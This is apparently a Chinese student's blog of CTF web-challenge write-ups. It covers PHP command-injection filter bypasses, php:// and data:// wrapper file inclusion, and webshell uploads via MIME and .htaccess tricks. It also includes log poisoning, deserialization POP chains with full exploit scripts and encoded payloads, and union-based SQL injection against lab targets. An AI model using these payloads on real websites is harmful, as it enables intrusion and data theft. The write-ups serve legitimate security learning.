本文最后更新于 2026-01-18T15:31:13+08:00
paEasy_rce
用system函数,用ls命令查看目录
用ls /查看index.php下的根目录
用cat命令查看文件
补充:可以用passthru函数,可以直接回显
用exec,shell_exec函数,需套一个echo或者printf或者print_r或者var_dump
如果命令禁用,则写文件,将需要查看到的写入文件,用cat查看文件
写文件:?参数名=exec(‘cat /文件名 > 新的文件名’);
如果浏览器可以写文件则可直接查看新的文件
[SWPUCTF 2021 新生赛]easy_md5
看到php代码,知道需要get和post传参,get的参数名为name,post参数名为password,如果name的参数值不等于password的参数值并且md5弱比较两者的md5值需相等
以0e绕过md5检验得到flag
[SWPUCTF 2021 新生赛]PseudoProtocols
提示查找hint.php,运用php://filter伪协议绕过,构造payload:php://filter/read=convert.base64-encode/resource=hint.php
得到一串base64编码的密文,解码得到
更改url查看
分析源码第4行是文件包含,flag包含在flag.php文件中,第5行是get传参,参数名为a,第6行参数值为I want flag,file_get_contents()函数是用来读文件的,用于读取a文件内容,判断是不是那句话,然后问了学长说根据经验判断出是伪协议,最后一步就用data伪协议,将I want flag进行base64编码,构造payload:?a=data://text/plain;base64,SSB3YW50IGZsYWc=,得到flag(最后一步构造是ai给的,还在学伪协议)
或者也可以bp抓包,用input伪协议,修改请求方式为POST之后直接发送请求体
babyrce (Cookie注入 空格绕过)
分析源码是一个cookie验证admin=1,得到文件名
分析代码,第6行get参数为url,赋值给$ip,第7行检测ip值中是否含有空格,若有则显示nonono,所以需要绕过空格,第9行shell_exec函数是执行命令的函数,所以可以在参数名后直接输入命令(之前遇到的eval函数是用来执行代码的所以要加system或者其他执行命令的函数),用$IFS绕过空格(不能用%20绕过,%20是URL编码)
空格绕过,执行查看根目录的命令
查看flag文件
[LitCTF 2023]PHP是世界上最好的语言! php代码和linux命令
[LitCTF 2023]Ping
F12打开插件hackbar,输入的值ping之后发送,在POST中得到参数值
在POST命令后用&&或者|或者;链接符执行linuxs命令,查看flag
[SWPUCTF 2021 新生赛]jicao
考点:json格式
分析代码POST参数名为id,参数值为wllmNB,GET参数名为json,json_decode()函数是将括号中的内容进行json解码,所以要把json参数值进行json格式编码
json格式:由键值对组成{“键”:”值”}
这道题中键为x,值为wllm
[GXYCTF 2019]Ping Ping Ping
payload:?ip=127.0.0.1;b=lag;a=f;cat$IFS$9$a$b.php
flag,通配符,空格都被ban了,内联执行绕过,
[SWPUCTF 2021 新生赛]hardrce
无字母rce,就是一个简单的对命令取反
[SWPUCTF 2021 新生赛]finalrce
分析源码很多命令都被ban掉了,用tee命令写文件,|管道分隔符,ls,la都被ban了就用\绕过
还可以用bp但不用抓包
然后粘贴到网页,需加上curl(这是发送命令的请求),还需加上http://
后面用反引号``写入命令,因为ls都被ban掉了,用\绕过
每执行完一次命令后点击立即轮询查看http类型文件
[鹏城杯 2022]简单包含(文件包含脏数据)
文件包含在flag.php,根目录是/var/www/html,但存在waf,因为当前代码看不出来ban了什么,学长说这不是完整的代码,要看完整代码
/var/www/html是网站根目录
用filter伪协议查看index.php看到源码
if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))
同时满足POST 请求原始数据长度<800并且不包含flag就会回显nssctf waf
得到flag的base64编码
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
if ( substr($_GET["file"], 0, 3) === "php" ),改代码是看传入的内容前三个字母是否是php,用filter伪协议,base64解码
[鹤城杯 2021]EasyP(正则绕过)
这道题实在看不懂就看了wphttps://blog.csdn.net/qq_51295677/article/details/124237892
$_SERVER[…] :是一个包含了头信息,路径以及脚本位置等信息的数组, 根据中括号内传入的参数不同,返回不同的信息
basename():返回路径中的文件名部分
PHP_SELF’:返回当前执行脚本的文件名
首先要绕过正则使show_source不为空,并且使basename()值为utils.php, 所以我们要想办法绕**/utils.php/*$/i** 以及**/show_source/**这个正则匹配
只要在后面加个非ASCII码的东西就可以绕过
所以我们用%88或者只要是可以造成乱码的url编码就可以绕过**/utils.php/*$/i** 正则匹配
/show_source/用show[source或者show.source绕过
payload:/index.php/utils.php/%88?show[source=1
忘记名字了
解法一(Hackbar)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
解法2(bp)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
更改访问地址为/.a.php
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
[HCTF 2018]Warmup
一开始啥也没有,直接看源码
看到了source.php这个文件,访问它
题目代码
分析源码(代码审计)
1 2 3 4 5 class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ];
class emmm:定义PHP类,类名时emmm
checkFile:静态公共方法(不懂)
static:静态方法不需要实例化类
&$page:方法的参数 &表示引用传递(而非值传递),意味着在方法内部修改$page的值时,外部原始变量的值也会同步改变
$whitelist:文件自定义的白名单
“source”=>”source.php”,”hint”=>”hint.php”:
键
值
source
source.php
hint
hint.php
值对于允许访问的实际PHP文件路径(即服务器上存在的合法文件)
1 2 3 4 if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; }
第一个条件判断
isset($page):是否设置
is_string($page):内容是否为字符串类型
首先检查传入的$page参数是否为字符串类型, 如果不是或者未设置,将输出”you can’t see it”并返回false
1 2 3 if (in_array ($page , $whitelist )) { return true ; }
in_array($page, $whitelist):检查page中的内容是否存在定义的白名单$whitelist中
1 2 3 4 $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' )
mb_substr()函数:从字符串中提取子字符串
mb_strpos()函数:PHP中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置
mb_strpos($page . ‘?’, ‘?’):先用mb_strpo函数找到第一个?出现的位置, 然后使用mb_substr函数将问号之前的部分作为$_page进行处理
1 2 3 if (in_array ($_page , $whitelist )) { return true ; }
这是再次检查传入的$page是否直接存在白名单里
1 2 3 4 5 6 7 8 9 10 11 12 13 $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } }
urldecode($page):将$page中的内容进行url编码,然后重复mb_strpos和mb_substr两个函数的处理(同片段4),如果$_page在白名单中存在,返回true
1 2 3 4 5 6 7 8 9 if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; }
检查$_REQUEST[‘file’]中是否存在且为字符串类型,并调用emmm::checkFile方法进行检查
始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来
查看hint.php
通过../返回上级目录直到根目录,当前目录一般是/var/www/html
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
这是无回显和flag绕过
写文件
有多种写文件和绕过方法
payload
?cmd=cat /fl?? > 1.txt
?cmd=nl /fl?? | tee 2.txt
?cmd=nl /fl?? | tee 3.txt)
?cmd=nl /f* | tee 4.txt)
?cmd=nl /* | tee 5.txt)
[LitCTF 2023]作业管理系统
开头是登录界面,直接查看源码,得到用户名和密码都是admin
上传1.php文件,文件内容是一句话木马
看文件
蚁剑连接
根目录下看到flag
[SWPUCTF 2021 新生赛]easyupload2.0
写一个一句话木马
查看环境变量
然后要让服务器把传的文件当做PHP文件解析才行,将文件后缀名改为php会被禁用,用phtml绕过
然后查看上传的文件,系统会执行文件中的代码查看环境变量发现里面就有flag
[SWPUCTF 2021 新生赛]easyupload1.0
上传后缀名为phtml的文件绕过检验,然后bp拦截抓包
没反应,修改Content-Type的请求体改为image/jpeg,MIME绕过
修改POST请求查看上传的文件,系统执行了上传的php代码就可以看到环境变量了
[SWPUCTF 2021 新生赛]easyupload3.0
上传.htaccess文件
<FilesMatch “a.jpg”>
SetHandler application/x-httpd-php
作用是将a.jpg文件相当于传入的php文件,就是会让PHP解释器去解析jpg文件,把它当作php文件
然后上传1.jpg文件,内容为一句话木马
然后在网页看文件
根据传入的木马用POST传参查看环境变量,因为这里用ls /命令查看根目录下文件找不到flag
[GXYCTF 2019]BabyUpload
上传.htaccess文件
因为把php过滤掉了所以要用其他标签过滤
在网站查看然后蚁剑链接
[HNCTF 2022 Week1]easy_upload
上传一句话木马,bp拦截抓包
在网站查看路径
蚁剑链接
[MoeCTF 2022]what are y0u uploading?
上传一个jpg文件,内容是一句话木马,一开始上传了php文件被禁用了,进行bp抓包
更改文件名为flag.php
[HNCTF 2022 WEEK2]easy_include
php,flag,data几乎都被ban掉了,猜测是日志文件漏洞
Nginx默认日志路径是/var/log/nginx/access.log
可以进行日志文件包含,在User-Agent中写入恶意命令,然后包含日志文件从而得到命令的回显
[UUCTF 2022 新生赛]ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code )){ echo '看看你输入的参数!!!不叫样子!!' ;echo '<br>' ; eval ($code ); } else { die ("你想干什么?????????" ); } }else { echo "居然都不输入参数,可恶!!!!!!!!!" ; show_source (__FILE__ ); }
代码分析
主要看
1 if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code ))
很明显很多命令和函数都被ban掉了,我们需要绕过
绕过的方法想到引号..通配符还有编码这些,但*被ban了,最后的i表示数组被ban了,就只能用引号这些绕过
eval($code);将code值当作命令执行
当然首先要看的是传参类型很明显是GET
解题思路大概就是传参,命令绕过,然后将内容打印回显出来
payload:?code=var_dump(l\s /);)
var_dump()函数用来打印,应该也可以用print_r,printf这些,因为system被ban了,就用``反引号绕过,反引号可以执行命令,因为ls也被ban了,就用\给它绕过
payload:?code=var_dump(nl /fffffffffflagafag);
这一步就是绕过cat命令,有很多方式可以绕过,这里用nl代替cat,还可以像上面一样用\
或者payload:?code=var_dump(c\at /fffffffffflagafag);
但这道题感觉还能用无参尝试一下)
[第五空间 2021]WebFTP
感觉是一道登录题,先看环境变量phpinfo.php
能找到flag但应该是非预期
正常一开始就是bp抓包,弱口令爆破得到密码是admain888
登录成功就是这个页面
然后就不会了看了wphttps://blog.csdn.net/hiahiachang/article/details/123118953里面也讲了预期和非预期
到这一步就解不下去了,因为没下载到源码。。。)
[SWPUCTF 2021 新生赛]no_wakeup(__wakeup()方法绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->passwd; echo "No wake up" ; } } }$Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );?>
代码审计
1 2 3 4 public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; }
魔术方法__construct()创建对象时自动触发将$admin设为 “user”,$passwd设为 “123456”
1 2 3 4 5 public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }
魔术块__destruct()对象销毁时自动触发
该代码判断如果$admin===”admin”,passwd=== “wllm”则输出flag,否则无法输出
1 2 $Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );
正常序列化结果(属性数量为2)
1 O :6 :"HaHaHa" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
篡改属性数量,绕过__wakeup()
将数量2改为大于2的数
1 O :6 :"HaHaHa" :3 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
payload
1 ?p =O: 6 :"HaHaHa" : 3 : {s: 5 :"admin" ;s: 5 :"admin" ;s: 6 :"passwd" ;s: 4 :"wllm" ;};
[ZJCTF 2019]NiZhuanSiWei(文件包含伪协议php反序列化) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { highlight_file (__FILE__ ); }?>
if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”)
要求传入text文件,内容为welcome to the zjctf
利用两个伪协议得到base64编码
1 ?text =data://text /plain,welcome to the zjctf&file=php://filter /read =convert.base64-encode/resource=useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
在本地进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Flag { public $file ="flag.php" ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } }$a =new Flag ();echo serialize ($a );?> O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
构造payload
1 ?text =data://text /plain,welcome to the zjctf&file=useless.php&password =O:4 :"Flag":1 :{s:4 :"file";s:8 :"flag.php";}
[SWPUCTF 2021 新生赛]pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } }class w22m { public $w00m = ; public function __destruct ( ) { echo $this ->w00m; } }class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } }$w00m = $_GET ['w00m' ];unserialize ($w00m );?>
代码审计
echo $flag;
flag在w44m类中,因此我们最终是要调用w44m类中的Get
flag方法,admin和password要求为w44m和08067
echo $this->w00m;
w22m类中的echo会触发w33m类中的__toString()魔术方法
对三个类进行分析
若变量前是protected,则会在变量名前加上\x00*\x00
若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码
当类销毁时会输出$this->w00m
当w33m类的对象被当作字符串使用时触发__toString()方法
解题思路
首先是从w22m类的魔术方法入手,然后是w33m,因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
正确的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class w22m { public $w00m ; public function __construct ( ) { $this ->w00m=new w33m (); } }class w33m { public $w00m ; public $w22m ='Getflag' ; public function __construct ( ) { $this ->w00m=new w44m (); } }class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; }$j17 = new w22m ();echo urlencode (serialize ($j17 ));?>
运行结果:
1 O %3 A4%3 A%22 w22m%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w33m%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w44m%22 %3 A2%3 A%7 Bs%3 A11%3 A%22 %00 w44m%00 admin%22 %3 Bs%3 A4%3 A%22 w44m%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5%3 A%2208067 %22 %3 B%7 Ds%3 A4%3 A%22 w22m%22 %3 Bs%3 A7%3 A%22 Getflag%22 %3 B%7 D%7 D
payload:
1 ?w00 m= O%3 A4 %3 A%22 w22 m%22 %3 A1 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w33 m%22 %3 A2 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w44 m%22 %3 A2 %3 A%7 Bs%3 A11 %3 A%22 %00 w44 m%00 admin%22 %3 Bs%3 A4 %3 A%22 w44 m%22 %3 Bs%3 A9 %3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5 %3 A%2208067 %22 %3 B%7 Ds%3 A4 %3 A%22 w22 m%22 %3 Bs%3 A7 %3 A%22 Getflag%22 %3 B%7 D%7 D
[HUBUCTF 2022 新生赛]checkin(反序列化 弱比较) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; }?>
代码审计
1 2 3 if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }
只有当’username’=username,’password’=password时才会显示flag
1 2 $username = "this_is_secret" ; $password = "this_is_not_known_to_you"
因为开头已经修改了两个值并且未知因此不是简单赋值
然后看到代码1中==是弱比较
根据这个可以看出,true和非零非空字符串比较都为true
因此事实上只需要满足$data_unserialize[‘username’]==$true&&$data_unserialize[‘password’]==$true
即可回显flag
构造序列化exp
1 2 3 4 5 6 7 <?php $info = array ( 'username' =>true , 'password' =>true );echo serialize ($info );?>
运行结果为a:2:{s:8:”username”;b:1;s:8:”password”;b:1;}
构造payload
1 ?info =a:2:{s:8:"username" ;b:1;s:8:"password" ;b:1;}
[SWPUCTF 2022 新生赛]1z_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } }unserialize ($_POST ['nss' ]);highlight_file (__FILE__ ); ?>
代码审计
将a调用到lt
$a()这个格式表示把$a作为一个函数,其中的参数调用给lly
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='ls /' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:4:”ls /“;}
第一个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:4 :"ls /" ;}
第二步的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='cat /flag' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:9:”cat /flag”;}
第二个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:9 :"cat /flag" ;}
[SWPUCTF 2022 新生赛]ez_ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class X { public $x = __FILE__ ; function __construct ($x ) { $this ->x = $x ; } function __wakeup ( ) { if ($this ->x !== __FILE__ ) { $this ->x = __FILE__ ; } } function __destruct ( ) { highlight_file ($this ->x); } }if (isset ($_REQUEST ['x' ])) { @unserialize ($_REQUEST ['x' ]); } else { highlight_file (__FILE__ ); }
代码审计
看到__wakeup()魔术方法应该是绕过
使属性值比原有的大
构造POP链
1 2 3 4 5 6 7 8 <?php class X { public $x = __FILE__ ; }$a = new X ();$a ->x = "fllllllag.php" ;echo (serialize ($a ));
运行结果O:1:”X”:1:{s:1:”x”;s:13:”fllllllag.php”;}
绕过__wakeup()魔术方法
payload:
1 ?x =O: 1 :"X" : 2 : {s: 1 :"x" ;s: 13 :"fllllllag.php" ;}
[NISACTF 2022]babyserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); }?>
代码审计
1 2 3 4 5 public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); }
@eval($this->txw4ever)将txw4ever的内容当作php代码执行
__invoke()需触发这个魔术方法才能执行@eval函数
__invoke()触发时机是将内容作为函数调用,因此我们要找类似于函数的代码
这里可以找到$bb()是作为函数
1 2 3 4 public function __toString ( ) { $bb = $this ->su; return $bb (); }
$bb()将su的值给$bb并以函数形式执行
这串代码需要__toString()魔术方法
__toString()需要将属性作为字符串执行才可触发,即需要找echo或print或者if语句代码
1 2 3 4 5 6 7 public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } }
__set()魔术方法需给不存在的属性赋值才能触发
strtolower()函数:将字符串中的所有字母转换为小写形式
fun的值对应sixsixsix
令$a = new Ilovetxw(),strtolower()需要字符串因此可以触发__toString()魔术方法
1 2 3 4 public function __wakeup ( ) { $this ->ext->nisa ($this ->x); }
令$ext = new Ilovetxw():$this->ext->nisa($this->x);这里调用了不存在方法nisa,触发了__call()方法
1 2 3 public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; }
__call方法给$this->huang->fun赋值为$arg[0](即TianXiWei的$x)
绕过
*绕过 **NISA::__wakeup()的 hint *
只需确保NISA->fun不是”show_me_flag”,可设为任意值(如空字符串””)
*绕过 ***checkcheck()**函数
函数通过preg_match过滤危险字符,可使用PHP 变量名绕过或编码绕过
大概可以开始构造链子了
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("ls /");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload1
1 ?ser=O%3A9%3A"TianXiWei" %3A2%3A{s%3A3%3A"ext" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BO%3A4%3A"four" %3A2%3A{s%3A1%3A"a" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BN%3Bs%3A2%3A"su" %3BO%3A4%3A"NISA" %3A2%3A{s%3A3%3A"fun" %3Bs%3A3%3A"666" %3Bs%3A8%3A"txw4ever" %3Bs%3A15%3A"System(" ls +%2F")%3B" %3B}}s%3A9%3A"%00four%00fun" %3Bs%3A3%3A"abc" %3B}s%3A2%3A"su" %3BN%3B}s%3A1%3A"x" %3BN%3B}
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("cat /*");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload2
1 ?ser= O%3 A9 %3 A"TianXiWei" %3 A2 %3 A{s%3 A3 %3 A"ext" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BO%3 A4 %3 A"four" %3 A2 %3 A{s%3 A1 %3 A"a" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BN%3 Bs%3 A2 %3 A"su" %3 BO%3 A4 %3 A"NISA" %3 A2 %3 A{s%3 A3 %3 A"fun" %3 Bs%3 A9 %3 A"sixsixsix" %3 Bs%3 A8 %3 A"txw4ever" %3 Bs%3 A17 %3 A"System(" cat+%2 F*")%3B" %3 B}}s%3 A9 %3 A"%00four%00fun" %3 Bs%3 A3 %3 A"abc" %3 B}s%3 A2 %3 A"su" %3 BN%3 B}s%3 A1 %3 A"x" %3 BN%3 B}
[ISCTF2025]b@by n0t1ce b0ard
访问进去是一个注册页面在image中有一个文件上传,猜测是文件上传漏洞
上传一句话木马
有一个MIME绕过
根据文件夹中的已有头像得知上传的路径
payload
/images/1@qq.com /1.php
访问成功后蚁剑连接
ISCTF{48d85a4c-2174-41cb-9213-76b5b8fceeea}
[LitCTF 2023]导弹迷踪
玩游戏到第六关才有flag,(好奇玩了两把第一关都过不了
这种肯定先看源码,但是源码里面什么都没有
根据题目标签提示是js就看js文件,Level6就能看到flag
[SWPUCTF 2021 新生赛]easy_sql payload1
有回显说明不是数字型注入
payload2
有报错说明是字符型注入
payload3
1 ?wllm= 1 ' order by 3 -- +
利用order by语句判断name和password的列数
3的时候有正常回显说明不是3
4的时候报错无正常回显说明该数据库有3列
payload4
1 ?wllm=2 'union select 1 ,2 ,3
没看懂为什么变成2,不懂union select是什么意思网上暂时没找到
大体可以知道,网页上回显的内容是selec查询语句第二个参数和第三个参数的内容
payload5
1 ?wllm=0 'union select 1 ,2 ,database()
好像是查看数据库名称,需要wllm的值不等于1
payload6
1 ?wllm =2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db' --+
group_concat函数和information_schema.tables,就是查看‘test_db’数据库下有哪些表
payload7
1 ?wllm =2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='test_tb' --+
正常回显,有id和flag两列,那这个flag里的内容应该就是我们最终所需要的答案了。我们通过select查询语句让它把flag的内容回显。
payload8
1 ?wllm=2 'union select 1 ,2 ,flag from test_tb
